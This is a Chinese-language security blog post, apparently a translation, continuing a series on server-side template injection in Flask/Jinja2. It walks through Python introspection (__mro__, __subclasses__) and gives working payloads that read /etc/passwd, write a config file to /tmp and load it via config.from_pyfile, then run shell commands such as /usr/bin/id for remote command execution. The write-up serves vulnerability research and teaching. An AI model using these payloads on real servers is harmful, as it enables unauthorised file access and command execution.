探索Flask/Jinja2中的服务端模版注入(二)

在探索Flask/Jinja2中的服务端模版注入Part1中,我最初的目标是找到文件的路径或者说是进行文件系统访问。之前还无法达成这些目标,但是感谢朋友们在之前文章中的反馈,现在我已经能够实现这些目标了。本文就来讲讲进一步研究获得的结果。

神助攻

对于之前的文章,感谢Nicolas G 对我们的帮助

探索Flask/Jinja2中的服务端模版注入(二)_第1张图片

如果你有玩玩这个payload,你很快就会清楚这是行不通的。这里有有几个比较合理的解释,之后我会简短给大家说说。关键是这个payload使用了多个之前我们忽略了但非常重要的内省实用程序:__mro__以及__subclasses__属性

免喷申明:以下的解释可能会存在些许生涩,我实在没兴趣把自己搞的非常精通啥的,就这水平了。大多数时候我在解决框架/语言中存在的模糊不清的部分,我都会尝试看是否能够带给我预期的效果,但我一直不知道会产生这种效果的缘由。我依旧在学习这些属性背后隐藏着的“为什么”,但我至少想将我知道的分享给大家!

__mro__中的MRO(Method Resolution Order)代表着解析方法调用的顺序,可以看看Python文档中的介绍。它是每个对象元类的一个隐藏属性,当进行内省时会忽略dir输出(see Objects/object.c at line 1812)

__subclasses__属性在这里作为一种方法被定义为,对每个new-style class“为它的直接子类维持一个弱引用列表”,之后“返回一个包含所有存活引用的列表”。

简单来说,__mro__允许我们在当前Python环境中追溯对象继承树,之后__subclasses__又让我们回到原点。从一个new-style object开始,例如str类型。使用__mro__我们可以从继承树爬到根对象类,之后在Python环境中使用__subclasses__爬向每一个new-style object。ok,这让我们能够访问加载到当前Python环境下的所有类,那么我们该怎么利用这一新发现愉快的玩耍呢?

利用

这里我们还要考虑一些东西,Python环境可能会包括:

 

源于Flask应用的东西
目标应用自定义的一些东西

因为我们是想获得一个通用exploit,所以测试环境越接近原生Flask越好。越向应用中添加库和第三方模块,那我们能获得通用exploit的概率就越低。我们之前进行概念验证时使用的那个应用就是一个非常不错的选择。

为了挖掘出一枚exploit向量,要求不修改目标源代码。在前一篇文章中,为了进行内省,我们向存在漏洞的应用中添加了一些函数,但现在这些统统都不需要了。

首先我们要做的第一件事便是选择一个new-style object用于访问object基类。可以简单的使用'',一个空字符串,str对象类型。之后我们可以使用__mro__属性访问对象的继承类。将{{ ''.__class__.__mro__ }}作为payload注入到存在SSTI漏洞的页面中

探索Flask/Jinja2中的服务端模版注入(二)_第2张图片

我们可以看到之前讨论过的元组现在正向我们反馈,由于我们想追溯根对象类,我们利用第二条索引选择object类类型。目前我们正位于根对象,可以利用__subclasses__属性dump所有存在于应用程序中的类,将{{ ''.__class__.__mro__[2].__subclasses__() }}注入到SSTI漏洞中。

探索Flask/Jinja2中的服务端模版注入(二)_第3张图片

如你所看到的,这里面的信息太多了。在我使用的这个目标App中,这里有572个可访问类。这事情变得有些棘手了,这也是为什么上面推特中提到的payload行不通的原因了。记住,并不是每个应用的Python环境都差不多。我们的目标是找到一个能够让我们访问文件或者操作系统的东西。可能不那么容易在一个应用中找到类似subprocess.Popen模块进而获得一枚exploit,例如受前文Twitter上附有的那个payload影响的应用。但是从我的发现来看,没有什么能够比得上原生Flask。幸好,在原生Flask下我们也能够实现类似的效果。

如果你梳理之前payload的输出信息,你应该可以找到类,它是文件系统访问的关键。虽然open是创建文件对象的内置函数,file类也是有能力列举文件对象的,如果我们能够列举一个文件对象,之后我们可以使用类似read方法来提取内容。为了证实这一点,找到file类的索引并注入{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }},其中的40是环境中类的索引。

探索Flask/Jinja2中的服务端模版注入(二)_第4张图片

主观上我们已经证明了在Flask/Jinja2框架下利用SSTI是能够读取文件的,我们废了这么多时间难道只是这样?今天我的目标是远程代码/命令执行!

在前一篇文章中我引用了config对象的几个方法将对象加载到Flask配置环境中。其中一种方法便是from_pyfile,以下为from_pyfile方法的代码(flask/config.py)

 

def from_pyfile(self, filename, silent=False):
        """Updates the values in the config from a Python file.  This function
        behaves as if the file was imported as module with the
        :meth:`from_object` function.

        :param filename: the filename of the config.  This can either be an
                         absolute filename or a filename relative to the
                         root path.
        :param silent: set to `True` if you want silent failure for missing
                       files.

        .. versionadded:: 0.7
           `silent` parameter.
        """
        filename = os.path.join(self.root_path, filename)
        d = imp.new_module('config')
        d.__file__ = filename
        try:
            with open(filename) as config_file:
                exec(compile(config_file.read(), filename, 'exec'), d.__dict__)
        except IOError as e:
            if silent and e.errno in (errno.ENOENT, errno.EISDIR):
                return False
            e.strerror = 'Unable to load configuration file (%s)' % e.strerror
            raise
        self.from_object(d)
        return True

 

这里有几个非常有趣的东西,最明显的是使用一个文件路径作为compile函数的参数。如果我们能够向操作系统写入文件,那么就可以大显身手咯。正如我们刚才讨论的,我们能够做到!利用前面提及的file类不仅可以读取文件还可以向目标服务器写入文件。之后我们通过SSTI漏洞调用from_pyfile方法编译文件并执行其中内容,这是一个2阶段攻击。首先向SSTI漏洞注入类似{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg', 'w').write(''') }}。之后通过注入{{ config.from_pyfile('/tmp/owned.cfg') }}触发编译进程,之后就会执行编译后的代码。远程代码执行完成!

接下来将战果扩大,虽然代码在运行就非常棒了,但每个代码块都必须经过一个多步骤进程。让我们利用from_pyfile方法为其预设用途,并向config对象添加一些有用的玩意。向SSTI漏洞注入{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}。这将向远程服务器写入一个文件,当编译完成为subprocess模块引入check_output方法,并将其设置指向变量RUNCMD。如果你回想一下上一篇文章,你会将其添加到Flask config对象,用大写字符将其看作为一个属性。

探索Flask/Jinja2中的服务端模版注入(二)_第5张图片

注入{{ config.from_pyfile('/tmp/owned.cfg') }},向config对象添加一个新项。注意以下两张图片的不同之处!

探索Flask/Jinja2中的服务端模版注入(二)_第6张图片

探索Flask/Jinja2中的服务端模版注入(二)_第7张图片

现在我们可以调用新的配置项在远程服务器上运行命令了,通过向SSTI漏洞注入{{ config['RUNCMD']('/usr/bin/id',shell=True) }}即可证明!

探索Flask/Jinja2中的服务端模版注入(二)_第8张图片

远程命令执行完成!

总结

我们不必再去纠结如何逃避Flask/Jinja2框架的模版沙盒,现在就可以得出结论:在Flask/Jinja2环境下SSTI漏洞带来的影响实实在在的存在!

你可能感兴趣的:(技术分享,框架漏洞)